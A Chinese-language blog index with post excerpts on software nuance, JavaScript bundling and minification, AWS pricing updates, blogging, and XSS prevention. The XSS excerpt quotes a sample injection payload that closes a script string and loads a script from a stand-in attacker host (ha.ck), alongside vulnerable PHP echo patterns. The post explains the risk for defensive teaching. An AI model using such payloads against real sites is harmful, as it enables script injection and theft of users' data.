nuance

很久以前看英文的技術書時學到「nuance」這個字,查字典的解釋是「細微的差別」,例如音調、顏色、見解等細節的不同。 我喜歡這個字,是因為這個字代表每個個體的獨特性。以音樂來說,貝多芬的第九號交響曲的樂譜只有一種,但是不同的交響樂團,不同的指揮家,甚至不同的音樂廳,演奏出來的感覺都不同。而這些不同的版本就有個人喜好、意境的不同。節拍快0.1秒、音符修飾的1/100差異等等,這些用科學統計方法來看,不具顯著性的差異,但是卻能表現出不同的風格。例如福特萬格勒在拜魯特的貝九就被視為是經典詮釋。 有的指揮家認為,要完全遵照作曲家在樂譜上的指示,忠實的呈現出來,貫徹作曲家的意志。但有的指揮家覺得,樂譜有其表達力的限制,應該要適時揉合作曲家的作曲背景,並由指揮/演奏去詮釋作品。但不論是哪一種,都要有一定的能力才能達到。 我是Leica M相機的愛好者,這款高品質的德國相機,堅固耐用,功能非常少,他僅有的功能都是讓你能專注在「拍照」這件事上。用Leica M拍出來的照片,優異的暗部細節和寫實性,讓我非常的喜愛。看習慣用Leica M拍的照片之後,看一般的照片就會覺得「少了很多細節」。有些人看不出細節差異,但是我剛好是看得出來的那種。 回到軟體開發上面,「nuance」這個字就更重要了。軟體開發雖然是一種「創作」,但是本質上和「演奏」比較像。演奏要以「樂譜」為本,加上演奏者的詮釋。而軟體開發也是有一個目標,例如「需求」,再由開發者去詮釋。但是這個目標不像樂譜,有非常明確的規範,所以開發者能夠發揮的空間非常的大。就算再詳細的設計文件,在真正實作時,還是有一大段空間要填滿。 例如,我想做一個線上購物網站,這是目標,但是在作出來之前,沒有人知道這個網站將來會長什麼樣。就算網頁看起來一模一樣好了,也許背後用的技術完全不同,也許scalability不同,也許performance不同,也許cost不同。而這一切一切的不同,就是由許多開發時的選擇累積出來的。這些自由選擇(詮釋方式),就是我所說的軟體nuance。 所以,軟體的開發者、設計者、架構者所作的大大小小的選擇,也就決定了這個系統的個性。和音樂一樣,在達到一定水準之後,沒有絕對的對錯,就只有「品味」(或喜好)的問題了。例如:貝九我可能比較喜歡卡拉揚的版本。 對軟體工程師來說,要有能力控制nuance,就必需要不斷增加見識廣度和技術深度,也要保持一顆熱情開放的心,願意嘗試新的東西,不能習慣於過去的作法。我的經驗是,我以為我已經看得夠廣夠深了,在和不同領域的人談過之後,我才發現自己看得太少了。同時,也要能培養出辨別「nuance」的能力,要知道作這個選擇會有什麼影響。 品質,是由許多小細節累積而成的,讓我們一起勉勵!

Continue Reading

JavaScript的處理方式

每個原始檔要先最小化,然後依照引用的順序合併。檔名可以在佈署時動態產生,常用的選擇有亂數、佈署版本的號碼或名稱、最後修改的檔案時間戳記、或可閱讀的曰期時間字串。 每個頁面所引用的JavaScript檔,組合會有很多種。所以對整個網站考量時,就有幾種合併的作法,以下是比較常用的。 整個網站用到的所有JavaScript,都合併成一個檔案 適合所有頁面引用的JavaScript,組合並不多時。並且引用的順序都一樣,也就是順序不影響的時候。這種作法當然網站速度最快,但是常常每個頁面引用的JavaScript,都有不同。而且有些JavaScript檔案,只在一、二個網頁被引用到,這個比例高的話,就變成每一頁都還要引用原本只需要在那一個網頁要讀取的JavaScript。有一些這類的JavaScript函式庫還滿大的,例如所見即所得編輯器(WYSIWYG),所以實務上不見得是最適合的作法。 將所有頁面,或是超過一半的頁面,都有引用到的JavaScript,合併成一個檔案 這個JavaScript會被全部的網頁所引用,然後每個網頁再各自去合併自已的專屬JavaScript檔案。也就是變成一個是整個網站都用到的合併檔,另一個是這個網頁用到的合併檔。這樣的作法,會減少單一頁面的傳輸量,不至於包含了過多沒有用到的JavaScript檔案,但是至少會有兩次的JavaScript請求。適合每個網頁所引用的JavaScript很分歧,而且檔案又不算小的時候。這也是一般常見的情況。 每一個網頁各自合併自己引用的檔案 這樣每個網頁只會有一個JavaScript請求,而且不會有多餘的內容,也容許相同組合的JavaScript以不同順序引用。缺點就是你可能需要把JavaScript合併成多種組合,最多到和網頁數一樣多。如果在各網頁間,引用相同的JavaScrip檔案數量很少時,就適合用這個作法。其實這個作法不用管理”共同的”及”各別的”JavaScript檔案,是我比較喜歡的作法。 合併完成後,再來就是要最小化(minify)。JavaScript很適合最小化,可以用語法解析器(parser)檢查,並把不需要的空白去掉。例如使用rhino、jslint。 在合併完後,尤其是最小化之後,JavaScript原始檔會變得完全不能由人去編輯,所以合併及最小化的工作必須在佈署時期,由工具幫我們作。最好是命令列的工具,可以整合進專案的自動管理流程。 如果原本的一個JavaScript檔案,被合併到多個合併後的檔案。那麼,即使你只改了原始檔的一個字,所有合併後的檔案,都要重新產生,使用者也應該重新下載。 這裡可能有二個問題: 我們有設定快取標頭,如何通知使用者(瀏覽器)下載新的合併檔? 只改一個檔案的一個字,就要使用者重新下載合併的檔案,會不會影響速度? 第一個問題,只要改變下載合併檔的URL,下次使用者到這個網頁,就會重新下載這個合併檔。麻煩的地方在於,我們要把所有修改過的合併檔,傳到伺服器上。也就是說,一定要再走一次佈署流程,把所有合併檔都產生好,再佈署上去,即使有工具幫我們作,負擔也是不小,過程也很多地方可能會出錯。所以使用「lazy initialization」,在伺服器端作「合併」、「最小化」的工作,也是一個不錯的方法。 第二個問題,我認為影響不大。因為我們的目標是,即使客戶端完全沒有快取,也要能很快的顯示網頁。以每一個網頁只使用一到兩個<script>元素來看,負擔很小。這也可以說是,因為我們把請求數目大量的減少,所以不用太擔心快取的問題。 進行好合併、最小化之後,其它的工作就比較簡單了。也就是在網站伺服器上,對JavaScript檔案進行壓縮及設定快取標頭,把JavaScript的下載最佳化。 JavaScript檔案和區塊,都應該放在HTML文件的最後面。例如我的習慣,是像這樣子: <html> <head></head> <body> …… <script src="combined.js"></script> <script> $(function() { init(); }); </script> </body> </html> 我們常常需要在我們的網站上,引用第三方的JavaScript函式庫,如社羣網站API、測量工具、或廣告商等。以前通常會對放置JavaScript的區塊作限制,甚至要求要用document.write()的語法,對我們網站的效能造成嚴重的限制。我真的不希望使用者看我的網頁,要先等廣告render好,才出現真正的內容。尤其是JavaScript的請求會擋住(block)網頁的render,如果第三方的網站回應較慢,還會連累我們的網站,讓使用者等半天,只看到白畫面。 還好,現在比較大的第三方JavaScript函式庫,都支援了非同步的JavaScript使用法。所以我們也要把這些JavaScript,在HTML文件和資源都準備好(onload)之後,再去呼叫初始化。初始化的步驟通常是用JavaScript插入一段引用第三方JavaScript函式庫的<script>元素,然後傳入必要的參數。 現在非同步的JavaScript函式庫的支援很常見,所以一定要用這個方法去引用。如果你要用的函式庫,沒有支援非同步的使用法,那我建議考慮別家,有支援非同步的函式庫。 另外應該避免的作法,就是使用「inline」的JavaScript,或是說<script>區塊。所謂的「inline」,就是直接寫在HTML裡的<script>元素,例如: <div> <script> alert("!"); </script> <img src="what.png" /> </div> inline又分成兩種,一種是寫在靜態HTML裡,如果量不多倒是還好。另一種是隨著伺服器端腳本(server side script)或範本(template)工具動態產生的HTML寫出去的。 這兩種作法都會造成許多管理、開發、和優化的麻煩,所以要從一開始就要儘量避免。 如果要最小化這些源始碼,必須先把inline的一段段<script>的內容拿出來,進行最小化處理之後,再塞回原本的地方。這個過程很囉嗦,也很容易出錯。 然而,還有一種寫法比inline更糟,那就是用伺服器端腳本或範本工具,動態產生JavaScript區塊,例如: <script> alert("Hello, <%=userName%>"); </script> [...]

Continue Reading

blue pill or red pill?

真的很久沒更新了。 標題又是用The Matrix裡的梗,可是圖都有版權的,不能用。 工作繁重不能當作藉囗,有辦法的人還是能有規律的產出新内容。像Jamie Lin,現在每天一篇啊,會不會太厲害了一點。 要寫blog,就像駭客任務裡的莫非斯給你的選擇。你可以選擇藍色藥丸,繼續過習慣的生活。或是選擇紅色藥丸,很辛苦地試著對生活進行革命。Your choice。 沒錯,革命哪有不辛苦的。寫第一本書的時候,我採用硬撐的方式。把睡覺時間拿來寫稿,沒錯,結果是出來了,但是畢竟不是長久之計。身為hack everything的人,不能繼續這樣作。 所以,要工作、要休息、要看資料,要陪家人,還要寫作,這到底要怎麼作到?別急,我也在試,總會有辦法的。 總之,是到了繼續的時候了。和之前說的一樣,我會把新書的內容,用blog的形式發表。每一篇都可能不完整、沒有前後文、鬼打牆、或是不通順,都是屬於正常現象,請小心服用。 除了原稿,我還必需建立幾個open source的專案,作為工具和framework。所以真的是大工程,有點像挖坑給自己跳。的確,追求完美的性格又發作了。 對我要寫的內容有任何疑問和建議,都可以提出來,我會參考。但是不一定有時間回應,因為我要繼續前進。發表過的內容也可能重新改寫,所以如果你覺得這篇和你之前看的不同,就忘了過去吧,現在的比較重要。 又到了最難的結尾了,這裡有一個facebook自high粉絲頁好少人的,有需要就按這個讚(遞)。

Continue Reading

AWS updates 2011-07

上天是公平的, 每個人每天只有24小時. 所以如果你不是萬中選一的練武奇才, 那就要比別人多花點時間了. 請容我先用最近的AWS新聞來更新一下blog. 好啦, 因為確實不是新聞了, 所以標題改叫updates… AWS Import/Export for EBS 這個Import/Export的功能可能在北美洲比較有用, 因為是寄硬碟去給Amazon, 讓Amazon依你的指示把資料從S3寫到硬碟或是相反方向. 如果要輸入/輸出大量資料, 例如幾TB, 絕對是用這個方法比較快. 現在EBS也支援AWS Import/Export了, 可以直接作成EBS snapshots, 這樣要複製多份EBS volumes就非常簡單了. AWS再降價 是的, AWS又降價了. 這次是很重要的網路傳輸費, 從2011-07-01開始生效. 而且Amazon很康慨的把傳入AWS的費用全免了, 這樣計算網路傳輸費用也很簡單了. 很明顯, Amazon就是希望你把資料全部放到他家裡去. 這個用意再明顯也不過了, 資料一進去, 要出來就難了, 因為最難搬動的就是資料啊. 好了, 傳入全免費了, 那傳出的費用也降了. 以最貴的Tokyo地區來算, 每個月前10TB是每GB $0.201美金. 所以如果你的網站每個月輸出100GB, 那就是$20.1美金. 超大量的流量(每個月524TB以上)還可以和Amazon商量, 拿特別的折扣. 另一個和網路傳輸費最相關的服務, 就是CloudFront, 也一起降價了. 同樣以最貴的日本地區來看, 每個月前10TB的傳出費用也是降到每GB $0.201美金. 而且流量越大, 每GB的花費比AWS其它服務的網路傳輸費還便宜. [...]

Continue Reading

Why Blogging

常常沒有人問我, 為什麼要寫blog? (沒錯, 是”沒有人”, 這句只是為了學各大blogger常見的開頭…) 請看Jamie的: 你必須開一個網誌,現在. 其實最早也是Jamie鼓勵我寫blog的, 我常常說, 沒有Jamie, 就沒有這個blog, 也沒有出書, 也沒有今天的我. 在這裡說的blog, 不是給自己和認識的人看的, 而是為了這個世界創造更多的價值, 不論是自己, 讀者, 或整個與你相關的環境. 像我是軟體工程師, 我可以把我的經驗分享出來, 讓有需要的人, 可以很快的找到方向. 這樣一來, 不但為別人創造了價值, 我自己也增加了無型的價值. 所以, 各行各業都可以寫blog, 不論目的是什麼, 你都可以造成一些影響. 這在網路還沒發達之前是不可能的事, 如果你對現在的媒體很不滿, 那網路就是你最好的發聲管道. 我要很明確的告訴你, 寫blog絕不是一件簡單的事. 如果沒有決心, 那就把它當成休閒就好, 不要期望寫blog能帶給你什麼額外的回饋. 每天上班就已經快累死了, 回到家只想休息啊. 生活上還有很多雜事要處理: 帳單還沒付, 電腦壞了要修, 車子要檢查. 即使是有空的時間, 我也可能和人吵架影響心情, 生病看醫生, 很多文件/書要看, 要靜下心來整理資料寫一篇有內容的文章還真是難啊! 像這個: 如何辭掉你的工作,改變這個世界,還有人付錢給你. 是很難達到的, 而且也不適合每一個人. 但是如果你想除了每個月領薪水, 還能創造出你和別人不一樣的價值的話, [...]

Continue Reading

Preventing XSS (I)

作網站要很注意XSS, 和SQL Injection, 可以說是基本中的基本. 這一篇文章是我對如何防止XSS(Cross-Site Scripting)的看法, 但是絕不能認為注意到我提到的地方就可以完全防止了. 攻擊的方法不斷地更新, 網站開發者也要隨時提高警覺, 注意新消息才能避免自己的網站成為下一個受害者. 基本原理 以現今的網站來說, 幾乎已經沒有完全靜態的網站. 只要有顯示動態資料, 尤其是使用者產生的資料, 就有被XSS的可能. XSS的型態有非常多種, 但主要都是為了要插入一段攻擊者寫的JavaScript, 一但攻擊者能這麼作, 你的網站就能被他利用, 可以作非常多事, 像是偷取網站和其它使用者的資料, 或是讓使用者去安裝殭屍程式. 可以加個<iframe>, 可以加個<script>, 基本上就是控制了你的網頁. 看一下例子: 例如在<script>block裡輸出動態資料: <script> var comment = "<?php echo $comment;?>"; </script> 那攻擊者可以把comment寫成: ";</script><script src="http://ha.ck/"/><script>// 就可以執行任意的JavaScript, 如果是認真的攻擊者, 通常會有3步以上的代理, 利用複雜步驟隱藏真正的意圖, 可能是偷取使用者資訊, 或是安裝trojan horse. 不是在<script>block裡就沒問題嗎? 唉, 更簡單: <p> <?php echo $comment;?> </p> 聰明的你, [...]

Continue Reading